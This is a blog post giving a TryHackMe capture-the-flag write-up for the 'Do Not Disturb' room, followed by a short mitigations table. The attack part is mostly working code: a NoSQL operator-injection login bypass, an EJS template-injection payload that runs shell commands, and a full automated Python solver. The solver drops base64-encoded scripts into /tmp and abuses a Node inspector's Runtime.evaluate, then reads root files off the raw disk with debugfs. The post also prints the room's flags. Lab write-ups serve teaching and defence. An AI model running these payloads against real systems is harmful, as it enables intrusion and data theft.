DEV Community

Cover image for [TryHackMe Writeup] Do Not Disturb
Wahiduddin Samani
Wahiduddin Samani

Posted on

[TryHackMe Writeup] Do Not Disturb

Do Not Disturb — Boot2Root Writeup (How to Solve)

Field Value
Target http://MACHINE_IP
Platform TryHackMe — Hacker Holidays · The Byte Lotus Hotel
Category Boot2Root · Web
Difficulty Medium
User flag THM{w4rm_s3ss10n_h1j4ck3d}
Root flag THM{r4w_d1sk_4cc3ss_w4s_t00_much}

Skill path: NoSQL injection → EJS template injection (RCE) → Node inspector (debugger) pivot → Linux disk group raw-block read.


Attack Chain

GET / (login form)
   │
   │  username=attendant & password[$ne]=__never__      NoSQL operator injection
   ▼
role=staff session → GET /staff  (Cabana Desk)
   │
   ▼
POST /staff/preview  template=<%= ...execSync('cmd') %>   EJS template injection
   │
   ▼
RCE as poolside  →  /home/poolside/user.txt               USER FLAG
   │
   ▼
node --inspect=127.0.0.1:9229  (lotus-telemetry.service)   debugger Remote.evaluate
   │
   ▼
RCE as pipelinesvc  (groups: pipelinesvc, disk)
   │
   ▼
debugfs -R "cat /root/root.txt" /dev/nvme0n1p1            raw disk read
   │
   ▼
ROOT FLAG
Enter fullscreen mode Exit fullscreen mode

Step-by-Step (manual reproduction)

Step 1 — Recon

nmap -sV -sC MACHINE_IP
Enter fullscreen mode Exit fullscreen mode
Port Service
22 SSH (OpenSSH 9.6p1, publickey only)
80 HTTP — Express "Byte Lotus Poolside" portal

Routes found: GET / (login form), POST /login, GET /logout, GET /staff (403).

Step 2 — Weak default credentials

Brute the login with a top-10k password list on likely usernames (guest, attendant, ...):

guest:sunshine  →  valid login, but role=guest → /staff still 403
Enter fullscreen mode Exit fullscreen mode

App source (leaked later via the RCE) explains why brute-forcing the staff
account is pointless:

// /opt/poolside/app.js
const db = new Datastore();          // @seald-io/nedb (MongoDB-style)
await db.insertAsync([
  { username: 'guest', password: 'sunshine', role: 'guest' },
  { username: 'attendant',
    password: crypto.randomBytes(18).toString('hex'), role: 'staff' },
]);
...
app.post('/login', async (req, res) => {
  const { username, password } = req.body;
  const user = await db.findOneAsync({ username, password });
  ...
});
Enter fullscreen mode Exit fullscreen mode

The attendant password is random hex — never brute-force it. Attack the
query itself instead.

Step 3 — NoSQL injection → staff login bypass

express.urlencoded({ extended: true }) parses password[$ne]=x into the
nested object { password: { $ne: 'x' } }, so the lookup becomes:

db.findOneAsync({ username: 'attendant', password: { $ne: '__never__' } })
Enter fullscreen mode Exit fullscreen mode

$ne matches anything except the given value → returns the attendant.

curl -i -X POST http://MACHINE_IP/login \
  -d 'username=attendant&password[$ne]=__never__'
Enter fullscreen mode Exit fullscreen mode

Response: 302 with a session cookie → now

curl -b <cookie> http://MACHINE_IP/staff     # 200 — Cabana Desk
Enter fullscreen mode Exit fullscreen mode

Step 4 — EJS template injection → RCE (poolside)

The Cabana Desk has a confirmation template preview: POST /staff/preview
with a template field that is rendered with ejs.render() — an EJS SSTI:

curl -b <cookie> -X POST http://MACHINE_IP/staff/preview \
  -d "template=<%= global.process.mainModule.require('child_process').execSync('id').toString() %>"
Enter fullscreen mode Exit fullscreen mode
uid=996(poolside) gid=996(poolside) groups=996(poolside)
Enter fullscreen mode Exit fullscreen mode

Full command execution as the poolside service account. From here:

# user flag
cat /home/poolside/user.txt
THM{w4rm_s3ss10n_h1j4ck3d}
Enter fullscreen mode Exit fullscreen mode

Note: commands containing > or 2>&1 break execSync's shell — keep
payloads redirect-free or split them.

Step 5 — Lateral move: Node inspector → pipelinesvc

Read the service units via the EJS RCE (/etc/systemd/system/lotus-telemetry.service):

[Service]
User=pipelinesvc
ExecStart=/usr/bin/node --inspect=127.0.0.1:9229 /opt/telemetry/processor.js
Enter fullscreen mode Exit fullscreen mode

The telemetry processor is a Node.js debugger endpoint bound to localhost:

  1. The debugger protocol accepts arbitrary Runtime.evaluate over a WebSocket — i.e. remote code execution in the pipelinesvc process.

The exploit (as done by solve_dnd.py):

  1. GET http://127.0.0.1:9229/json/listwebSocketDebuggerUrl
  2. WebSocket handshake to that URL (masked frames)
  3. Send Runtime.evaluate with expression:
(()=>{try{return process.mainModule.require('child_process')
        .execSync('id',{encoding:'utf8',shell:'/bin/bash'}).toString()}
      catch(e){return 'ERR: '+(e.stderr||'')+(e.stdout||'')}})()
Enter fullscreen mode Exit fullscreen mode

Result:

uid=995(pipelinesvc) gid=995(pipelinesvc) groups=995(pipelinesvc),6(disk)
Enter fullscreen mode Exit fullscreen mode

pipelinesvc is in the disk group — the gateway to root.

Step 6 — Root flag: raw block-device read (group disk)

ls -l /dev/nvme0n1p1
brw-rw---- 1 root disk 259,1 ... /dev/nvme0n1p1
Enter fullscreen mode Exit fullscreen mode

Group disk can read the raw device (the ext4 root partition). No sudo, no
kernel exploit — just read the filesystem out of the block device with
debugfs:

debugfs -R "cat /root/root.txt" /dev/nvme0n1p1
THM{r4w_d1sk_4cc3ss_w4s_t00_much}
Enter fullscreen mode Exit fullscreen mode

Fully automated solver

python solve_dnd.py http://MACHINE_IP
Enter fullscreen mode Exit fullscreen mode
"""
Do Not Disturb (Byte Lotus Hotel) - FULLY AUTOMATIC SOLVER
Gets BOTH flags with zero manual steps.

Target: http://10.49.182.223

Chain:
  1. NoSQL injection on /login             -> log in as 'attendant' (password[$ne]=zzz)
  2. EJS template injection /staff/preview -> RCE as 'poolside'
  3. cat /home/poolside/user.txt           -> USER FLAG (as poolside)
  4. Node inspector 127.0.0.1:9229         -> RCE as 'pipelinesvc' (group disk)
  5. debugfs -R "cat /root/root.txt" /dev/nvme0n1p1 -> ROOT FLAG

Usage: python solve_dnd.py [http://IP]
"""
import sys
import re
import html as htmllib
import urllib.request
import urllib.parse
import http.cookiejar
import base64

TARGET = (sys.argv[1] if len(sys.argv) > 1 else "http://10.49.182.223").rstrip("/")
TIMEOUT = 25

cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
FLAG_RE = re.compile(r"THM\{[^}]+\}")

# Node client uploaded to /tmp/.i.js: connects to the 127.0.0.1:9229 debugger,
# evaluates a command inside the pipelinesvc-owned process via Runtime.evaluate.
NODE_SCRIPT = r"""
const http = require('http');
const crypto = require('crypto');
const fs = require('fs');
let CMD = process.argv[2] || '';
if (!CMD) { try { CMD = fs.readFileSync('/tmp/.c.txt','utf8').trim(); } catch(e) {} }
http.get('http://127.0.0.1:9229/json/list', (res) => {
  let d = '';
  res.on('data', c => d += c);
  res.on('end', () => {
    let list = []; try { list = JSON.parse(d); } catch(e) {}
    if (!list.length) { console.log('NO_TARGETS'); process.exit(0); }
    const path = list[0].webSocketDebuggerUrl.replace(/^ws:\/\/[^/]+/, '');
    const net = require('net');
    const key = crypto.randomBytes(16).toString('base64');
    const sock = net.connect(9229, '127.0.0.1', () => {
      sock.write(`GET ${path} HTTP/1.1\r\nHost: 127.0.0.1:9229\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Key: ${key}\r\nSec-WebSocket-Version: 13\r\n\r\n`);
    });
    let buf = Buffer.alloc(0), booted = false;
    sock.on('data', chunk => {
      buf = Buffer.concat([buf, chunk]);
      const hs = buf.indexOf('\r\n\r\n');
      if (!booted && hs !== -1) {
        booted = true;
        buf = buf.slice(hs + 4);
        const expr = `(()=>{try{return process.mainModule.require('child_process').execSync(${JSON.stringify('CMD_HOLE')},{encoding:'utf8',stdio:['ignore','pipe','pipe'],shell:'/bin/bash'}).toString()}catch(e){return 'ERR: '+(e.stderr?e.stderr.toString():'')}} )()`;
        const msg = JSON.stringify({ id: 1, method: 'Runtime.evaluate', params: { expression: expr, returnByValue: true } });
        sendFrame(sock, msg);
      }
      let f = parseFrame(buf);
      while (f) {
        if (f.opcode === 1) {
          const t = f.payload.toString();
          try {
            const j = JSON.parse(t);
            if (j.id === 1 && j.result) {
              const v = j.result.result;
              console.log('OUT:', (v && v.value !== undefined) ? v.value : JSON.stringify(v));
              process.exit(0);
            }
          } catch(e) {}
        }
        buf = f.rest;
        f = parseFrame(buf);
      }
    });
    sock.on('error', e => console.log('SOCKERR', e.message));
  });
});
function parseFrame(b){
  if (b.length < 2) return null;
  let off = 2;
  const opcode = b[0] & 0x0f;
  let len = b[1] & 0x7f;
  if (len === 126) { if (b.length < 4) return null; len = b.readUInt16BE(2); off = 4; }
  else if (len === 127) { if (b.length < 10) return null; len = Number(b.readBigUInt64BE(2)); off = 10; }
  return { opcode, payload: b.slice(off), rest: b.slice(off) };
}
function sendFrame(sock, payload){
  const data = Buffer.from(payload);
  const mask = crypto.randomBytes(4);
  let header;
  if (data.length < 126) header = Buffer.from([0x81, 0x80 | data.length]);
  else { header = Buffer.alloc(4); header[0] = 0x81; header[1] = 0x80 | 126; header.writeUInt16BE(data.length, 2); }
  const masked = Buffer.alloc(data.length);
  for (let i = 0; i < data.length; i++) masked[i] = data[i] ^ mask[i % 4];
  sock.write(Buffer.concat([header, mask, masked]));
}
"""
NODE_SCRIPT = NODE_SCRIPT.replace("'CMD_HOLE'", "CMD || fs.readFileSync('/tmp/.c.txt','utf8').trim()")


def http_req(path, data=None, headers=None):
    req = urllib.request.Request(TARGET + path, data=data, headers=headers or {})
    return opener.open(req, timeout=TIMEOUT).read().decode(errors="replace")


# ---- Step 1: NoSQL injection -> staff session ----
def login_staff():
    opener.open(urllib.request.Request(
        TARGET + "/login",
        data=b"username=attendant&password[$ne]=__never__"), timeout=TIMEOUT)
    print("[+] Logged in as 'attendant' via NoSQL auth bypass (password[$ne]=zz_never)")


# ---- Steps 2-3: EJS template injection (RCE as poolside) ----
def ejs(cmd):
    tpl = "<%= global.process.mainModule.require('child_process').execSync('" + cmd + "').toString() %>"
    body = urllib.parse.urlencode({"template": tpl}).encode()
    resp = http_req("/staff/preview", data=body,
                    headers={"Content-Type": "application/x-www-form-urlencoded"})
    m = re.search(r"<label[^>]*>Preview</label><pre>(.*?)</pre>", resp, re.S)
    if m:
        return htmllib.unescape(m.group(1))
    ms = re.findall(r"<pre>(.*?)</pre>", resp, re.S)
    return htmllib.unescape(ms[-1]) if ms else resp


# ---- Step 4: Node inspector pivot -> RCE as pipelinesvc ----
def node_inspect(cmd):
    b64js = base64.b64encode(NODE_SCRIPT.encode()).decode()
    b64cmd = base64.b64encode(cmd.encode()).decode()
    shell = f"echo {b64js} | base64 -d > /tmp/.i.js; echo {b64cmd} | base64 -d > /tmp/.c.txt; node /tmp/.i.js"
    return ejs(shell)


def main():
    print(f"[+] Targeting {TARGET}")

    print("[+] Step 1: NoSQL auth bypass -> staff")
    login_staff()

    print("[+] Step 2: EJS RCE check")
    out = ejs("id")
    print("   ", out.strip().replace("\n", " "))
    if "poolside" not in out:
        print("[-] EJS RCE failed, aborting"); return 1

    print("[+] Step 3: user flag")
    user_flag = ejs("cat /home/poolside/user.txt").strip()
    print("[+] USER FLAG:", user_flag)

    print("[+] Step 4: Node inspector pivot -> pipelinesvc")
    out = node_inspect("id")
    print("   ", out.strip().replace("\n", " "))
    if "pipelinesvc" not in out:
        print("[-] inspector pivot failed, aborting"); return 1

    print("[+] Step 5: raw disk read via debugfs -> root flag")
    out = node_inspect("debugfs -R 'cat /root/root.txt' /dev/nvme0n1p1 2>&1")
    m = FLAG_RE.search(out)
    root_flag = m.group(0) if m else "(not found)"
    print("[+] ROOT FLAG:", root_flag)

    print()
    print("=" * 44)
    print("  USER FLAG  :", user_flag or "(MISSING)")
    print("  ROOT FLAG  :", root_flag)
    print("=" * 44)
    ok = bool(user_flag.count("THM{") and root_flag.count("THM{"))
    print(("[+] SUCCESS - both flags captured" if ok else
           "[-] flags incomplete - check manually"))
    return 0 if ok else 1


if __name__ == "__main__":
    sys.exit(main())
Enter fullscreen mode Exit fullscreen mode

It performs every step above automatically: NoSQL login → EJS RCE → user flag
→ inspector pivot → debugfs extraction → prints both flags and exits 0 only
if both THM{...} flags were captured.

[+] Step 1: NoSQL auth bypass -> staff
[+] Step 2: EJS RCE check          uid=996(poolside) ...
[+] Step 3: user flag              THM{w4rm_s3ss10n_h1j4ck3d}
[+] Step 4: Node inspector pivot   uid=995(pipelinesvc) ... groups=...,6(disk)
[+] Step 5: debugfs raw disk read  THM{r4w_d1sk_4cc3ss_w4s_t00_much}
[+] SUCCESS - both flags captured
Enter fullscreen mode Exit fullscreen mode

Vulnerabilities (recap)

  1. NoSQL injection in /loginpassword[$ne] auth bypass to staff role.
  2. EJS template injection in /staff/preview — RCE as poolside.
  3. Node inspector exposed (--inspect=127.0.0.1:9229) — arbitrary eval as pipelinesvc (debugger endpoint running in a long-lived service).
  4. disk group membership — raw block-device read → any file on disk, including /root/root.txt.

Mitigations

Issue Fix
NoSQL injection Validate/whitelist inputs; never pass user-supplied operator objects to queries
EJS injection Never ejs.render() user input; use a strict template engine with an allowlist
Node inspector Never ship --inspect in production; bind to 127.0.0.1 and firewall port 9229
disk group Remove service accounts from the disk group (least privilege)

Tools Used

  • nmap, curl, Python urllib + cookie jars — recon & HTTP
  • NedB operator injection (password[$ne]) — auth bypass
  • EJS child_process.execSync — server-side template RCE
  • Hand-rolled WebSocket client — Node inspector Runtime.evaluate
  • debugfs — ext4 raw filesystem extraction

Top comments (0)